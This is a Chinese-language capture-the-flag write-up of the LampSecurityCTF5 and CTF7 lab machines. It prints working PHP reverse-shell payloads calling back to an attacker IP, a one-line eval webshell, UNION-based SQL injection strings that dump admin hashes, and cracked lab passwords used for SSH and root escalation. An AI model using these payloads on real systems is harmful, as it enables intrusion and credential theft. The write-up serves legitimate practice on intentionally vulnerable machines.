LampSecurityCTF 5+7 - CTF


LampSecurityCTF5 - CTF

靶机下载: 镜像

基本信息收集

主机发现

1-1.png

端口扫描

1-2.png

1-3.png

1-4.png

1-5.png

1-6.png

1-7.png

1-8.png

80 端口爆了比较多的信息;

网页访问

打开是一个论坛系统: Phake Organization;

1-9.png

目录爆破

简单的爆破一下:

1-10.png

根据结果能发现 php 信息:

1-11.png

另外, 在首页能找到 Andy 这个用户的 blog, 通过 webmail 一路找进来能找到一个管理员登录界面:

1-12.png

注意这里有写 “NanoCMS Admin Login”

Nano 漏洞利用

既然知道了 CMS , 着手在 google 和 Metasploit 里收集一下 nday:

2-1.png

2-2.png

2-3.png

NanoCMS 未对已认证用户创建网页时的数据进行过滤
页面默认保存为 .php 后缀,使得通过认证的攻击者能够访问底层系统;

这个利用需要一个能登陆的已经通过认证的 CMS 账户, 不过尝试注册的话, 注册之后貌似不会默认分配密码, 需要用邮箱去重置密码, 先看看能不能获取已知账户的密码, 例如这个 Andy:

信息泄露

接着找找这个 “nano cms” 的漏洞, 发现还存在一个信息泄露漏洞:

2-4.png

从几个不同的路径尝试后, 发现在 http://192.168.170.153/~andy/data/pagesdata.txt 存在信息泄露:

2-5.png

把这个结果拿去 Crackstation 碰撞, 结果是: shannon:

2-6.png

尝试 admin:shannon 的组合, 直接登录了:

2-7.png

远程代码执行

发现漏洞

试试用当前账户创建一个新页面 test:

2-8.png

竟然是以 .php 的格式进行创建的, 那就有非常大的攻击面了。

发送反弹 shell

接下来直接尝试发送反弹 shell, 测试有没有过滤或者屏蔽:

1
2
3
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.170.145/4444 0>&1'");
?>

2-9.png

2-10.png

同时在 kali 上监听 4444 端口:

2-11.png

收到了反弹 shell! 接下来只需要想办法提权即可。

Linux 提权

getshell

首先获取完整 shell, 试试环境里有没有 python:

1
2
3
which python
python -c 'import pty;pty.spawn("/bin/bash")'
stty raw -echo

3-1.png

收集信息

接下来粗略枚举一下, 收集信息:

3-2.png

3-3.png

1
grep -rni /home -e 'pass' 2>/dev/null

-r: 递归搜索;
-n: 显示匹配行号;
-i: 忽略大小写;
-e: 包含字符串;
2>/dev/null: 忽略报错;

再试试搜索可能有的备份密码文件:

3-4.png

备份信息泄露

找到一个很可疑的文件, 读一下:

3-5.png

试试这个密码:

3-6.png

直接登录成功! 完成了提权。后面找了半天没找到 flag, 看了下靶机附带的 pdf, 原来是没有 flag 文件, 那么到这里渗透就结束了, 总体来说比较简单, 主要漏洞集中在信息泄露上。

LampSecurityCTF7 - CTF

靶机下载: 镜像

基本信息收集

主机发现

1-1.png

端口扫描

1-2.png

1-3.png

1-4.png

1-5.png

1-6.png

1-7.png

网页访问

打开是一个 PHP 网站:

1-8.png

目录爆破

1-9.png

/phpinfo 存在信息泄露:

1-10.png

SQL 注入

在 Profile 页面中存在注入, 首先是:

2-1.png

2-2.png

此处为双引号闭合, 且错误时会直接抛出完整 SQL 语句。

进一步, 根据这个报错内容能发现, 查询参数 id 为数字型, 并且为 GET 传参, 请求直接在 URL 里, 此处为 update 语句, 那么猜想直接访问该网页则为 select 语句, 马上尝试:

2-3.png

2-4.png

确定此处存在数字型注入;

  1. 首先用 order by 确定查询返回列数为 7:
1
/profile&id=115 order by 7
  1. 接下来用 union select 和一个不存在的 id 爆出库名:
1
/profile&id=-1 union select database(),2,3,4,5,6,7

2-5.png

爆出库名: website

  1. 爆出表名
1
/profile&id=-1 union select group_concat(table_name),2,3,4,5,6,7 from information_schema.tables where table_schema = 'website'

2-6.png

结果为 contact,documents,hits,log,newsletter,payment,trainings,trainings_x_users,users;

  1. 爆出字段名:
1
2
/profile&id=-1 union select group_concat(column_name),2,3,4,5,6,7 from information_schema.columns where table_schema = 'website'
and table_name='users'

2-7.png

结果为: username,password,is_admin,last_login,user_id,realname,profile

  1. 根据结果爆出管理员账户密码:
1
/profile&id=-1 union select 1,2,3,4,5,group_concat(username),group_concat(password) from users where is_admin=1

结果为

1
2
3
4
5
6
7
8
9
10
11
12
13
brian@localhost.localdomain,
john@localhost.localdomain,
alice@localhost.localdomain,
ruby@localhost.localdomain,
leon@localhost.localdomain,
julia@localhost.localdomain

e22f07b17f98e0d9d364584ced0e3c18,
0d9ff2a4396d6939f80ffe09b1280ee1,
2146bf95e8929874fc63d54f50f1d2e3,
9f80ec37f8313728ef3e2f218c79aa23,
5d93ceb70e2bf5daa84ec3d0cd2c731a,
ed2539fe892d2c52c42a440354e8e3d5

哈希碰撞一下:

2-8.png

爆出了 4 个管理账户

端口登录

试试其他端口:

901 端口

brian@localhost.localdomain:my2cents 即可登录;

3-1.png

8080 端口

之前扫出来 8080 端口也是 apache tomcat 服务, 访问是一个后台登录界面:

3-2.png

同样用 brian@localhost.localdomain:my2cents 即可登录:

登录后是后台管理界面, 这里可以编辑网站上的所有文章, 注意这里有三类文章, 其中一种可以上传文件:

3-3.png

这里非常有可能上传一个 webshell;

10000 端口

同样是一个后台登录界面, 不过之前的密码用不上, 尝试过多还会封 ip;

上传 webshell

一句话木马

传一个一句话木马到服务器上:

1
<?php @eval($_POST['shell']);?>

刚刚 gobuster 扫出的目录里有 /assets 这个目录, 很可能就在这个路径下, 尝试访问:

3-4.png

果然已经上传成功。

连接 webshell

用蚁剑连上 shell:

3-5.png

3-6.png

执行其他命令的时候遇到一点问题, 如 python -c 'import pty;pty.spawn("bin/bash")', 返回报错:

1
2
3
4
File "<string>", line 1
import pty;pty.spawn(/bin/bash)
^
SyntaxError: invalid syntax

看起来是因为 " 被屏蔽了, 这里尝试了很久也没能突破, 先作罢, 试试不用 webshell 而是直接传反弹 shell 到 kali 上:

1
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.170.145/4444 0>&1'"); ?>

3-7.png

之后寻找上下文关联文件, 找到 db.php:

3-8.png

那么可以直接用 shell 登录 mysql:

登录 mysql 服务

1
mysql -u root

虽然登录了 mysql 服务, 但是其实之前的库已经在 sql 注入的时候被全部拖出来了, 直接把 hash 碰撞完成就可以得到一大堆账号和密码, 去之前那个碰撞的网站多碰撞几次可以增加破解概率:

后来看了下 WP, 这里是不用 sql 注入拖库, 而是通过万能密码直接绕过验证, 然后 RCE 读取数据库文件后, 通过 mysql 服务读取账密的方法, 算另一种解法

账号(邮箱) 密码 是否为admin
brian my2cents True
john transformersrule True
alice turtles77 True
ruby ? True
leon qwer1234 True
julia madrid True

ssh 登录

把已知的所有秘钥排列组合尝试登录 ssh:

根据回显重新组织一下指令:

1
sudo ssh brian@192.168.170.154 -oHostKeyAlgorithms=ssh-rsa -p 22

输入 my2cents 登录:

4-1.png

sudo -l 发现能直接以 root 身份启动 bash:

4-2.png

靶机的难度不算大, 但是攻击链还是比较完整的。这次主要踩的坑是, 反弹 shell 渗透优先级应当大于 webshell。